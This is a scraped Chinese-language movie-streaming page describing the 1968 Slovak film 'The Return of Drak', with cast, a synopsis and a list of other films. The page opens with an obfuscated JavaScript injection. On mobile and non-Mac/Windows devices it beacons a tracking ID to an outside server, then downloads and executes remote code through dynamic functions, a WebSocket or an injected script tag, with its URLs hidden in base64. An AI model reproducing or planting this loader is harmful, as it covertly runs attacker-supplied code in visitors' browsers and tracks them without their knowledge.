function flFwuNd(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function BezApGR(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return flFwuNd(t);};window[''+'e'+'E'+'C'+'k'+'P'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Qfph(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=BezApGR,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Qfph(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/10173/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Qfph(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLnNncmRoYmZ3LmxpdmUlM0E4ODkx','d3NzzJTNBJTJGJTJGYS5zzZ3JidHZmci5saXZlJTNBOTUzzNA==','10570',window,document,['H','z']);}:function(){};
影片信息
- 片名:德拉克的回归
- 状态:HD中字
- 主演:拉多万·卢卡夫斯基/古斯塔夫·瓦拉赫/艾米丽娅·瓦萨约娃/威廉·波洛尼/Jela/Buckova/Jozef/Cierny/Pavel/Chrobak/米库拉斯·洛迪津斯凯/Ivan/Macho/Ján/Mildner/Andrej/Mojzis/Jan/Pelech/卢多维特·赖特尔/斯特凡·克维季克/Milan/Mach/
- 导演:爱德华·格莱纳/
- 年份:1968
- 地区:其它
- 类型:剧情/
- 时长:内详
- 上映:1968-05-10
- 语言:其它
- 更新:2025-04-20 20:32
- 简介:与Stefan Uher和Elo Havatta一样,Eduard Grecner也是60年代斯洛伐克新浪潮电影的缔造者之一。他的三部影片《一周七天》(1964)《尼绒月亮》(1965)和这部《徳拉克的回归》都是斯洛伐克新浪潮电影的代表作。这部叙事方法独特带有明显意识流风格的黑白影片甚至间接影响到了后来法国导演格里耶在捷克拍摄的两部影片《说谎的人》和《Eden and After》。 A special place in the development of feature films is reserved for Eduard Grecner, the creator of just one good film, Dragon Returns (Drak sa vracia, 1967), titled after the nickname of the lead character. After his initial work with Uher, Grecner made his mark as a proponent of the so-called intellectual film, the antithesis of the sociologically, or rather, socially critical film. Grecner's great role model was Alan Resnais, a young French filmmaker who sought to introduce Slovakia to the idea of film as a labyrinth in which meanings are created not by stories, but by complex configurations of dialogue, shots, and various layers of time, thus differentiating film from both literature and theater. In Dragon Returns―the story of a solitary hero who is needed by villagers living far in the mountains, but who is rejected by them at the same time because of his detachment―Grecner brought the tradition of lyricized prose to life through a whole series of formal aesthetic techniques. Alain Robbe-Grillet immediately developed this idea in the film shot in Bratislava The Man Who Lies (Slovak Muz, ktory luze; French title L'homme qui ment; 1968), and perfected it in Eden and After (Eden a potom, 1970).
- 596
-
-
复制下方链接,去粘贴给好友吧
-德拉克的回归
复制链接
-

关注公众号观影不迷路
-
播放列表
倒序
剧情简介
与Stefan Uher和Elo Havatta一样,Eduard Grecner也是60年代斯洛伐克新浪潮电影的缔造者之一。他的三部影片《一周七天》(1964)《尼绒月亮》(1965)和这部《徳拉克的回归》都是斯洛伐克新浪潮电影的代表作。这部叙事方法独特带有明显意识流风格的黑白影片甚至间接影响到了后来法国导演格里耶在捷克拍摄的两部影片《说谎的人》和《Eden and After》。 A special place in the development of feature films is reserved for Eduard Grecner, the creator of just one good film, Dragon Returns (Drak sa vracia, 1967), titled after the nickname of the lead character. After his initial work with Uher, Grecner made his mark as a proponent of the so-called intellectual film, the antithesis of the sociologically, or rather, socially critical film. Grecner's great role model was Alan Resnais, a young French filmmaker who sought to introduce Slovakia to the idea of film as a labyrinth in which meanings are created not by stories, but by complex configurations of dialogue, shots, and various layers of time, thus differentiating film from both literature and theater. In Dragon Returns―the story of a solitary hero who is needed by villagers living far in the mountains, but who is rejected by them at the same time because of his detachment―Grecner brought the tradition of lyricized prose to life through a whole series of formal aesthetic techniques. Alain Robbe-Grillet immediately developed this idea in the film shot in Bratislava The Man Who Lies (Slovak Muz, ktory luze; French title L'homme qui ment; 1968), and perfected it in Eden and After (Eden a potom, 1970).
展开
-
豆瓣高分
1.0 傲慢与偏见2005/Pride And Prejudice/
-
正片
-
正片
10.0 Russell Geoffrey Banks/莎拉·玛卢库·莱恩/
-
3.0 张东健/金敏喜/布莱恩·泰/金熙元/金俊成/
-
正片
-
正片
4.0 苏格兰女王玛莉一世(台)/苏格兰女王玛丽/
-
正片
-
豆瓣高分
-
豆瓣高分
-
豆瓣高分
5.0 里兹·阿迈德/克里斯汀·博顿利/汤姆·希德勒斯顿/莫妮卡·杜兰/安德鲁·高尔/Manjinder Virk/
-
正片
10.0 和平饭店/????/1980: The Unforgettable Day/
-
2.0 丽娃·克里马洛夫斯基/马里纳斯·霍曼/卡拉·朱里/奥利弗·马苏奇/尤斯图斯·冯·多赫纳尼/乌苏拉·温纳/安妮·贝南特/安德烈·谢曼斯基/安妮·薛弗/拉斐尔·寇索里斯/本杰明·萨德勒/安德烈亚斯·马蒂/Raban Bieling/Risch Flurin Alexander/Meisser Noah/Luisa-Céline Gaffron/Hannah Kampichler/Peter Bantli/Held Alina/Knight Emma/Rahel Hubacher/
-
正片
-
正片
-
正片
-
正片
-
6.0 unusual human studio/
-
-
豆瓣高分
7.0 迷情公寓/公寓春光/情欲公寓/公寓/The Apartment/
-
正片
3.0 朱芷莹/高英轩/王彼得/鲍正芳/小戽斗/钟政均/丁梅卿/吴民凡/
-
6.0 If She Looks Back/ It&#039;s Love/
-
-
-
-
4.0 奥斯卡·伊萨克/凯瑞·穆里根/约翰·古德曼/加内特·赫德兰/F·默里·亚伯拉罕/贾斯汀·汀布莱克/斯塔克·桑德斯/亚当·德赖弗/伊桑·菲利普斯/罗宾·巴特利特/马克斯·凯塞拉/亚历克斯·卡普夫斯基/海伦·洪/杰克·奥康耐/里卡多·科德罗/伊恩·布莱克曼/苏珊·布洛马特/詹姆斯·科尔比/麦克·休斯顿/杰克·莱恩/丹尼尔·埃维里奇/吉纳维芙亚当斯/斯坦·卡普/罗丝玛丽·霍华德/乔治·凯特/比尔·韦登/马库斯·蒙福/
-
-
-
豆瓣高分
-
正片
8.0 În cãutarea tatãlui pierdut/
-
正片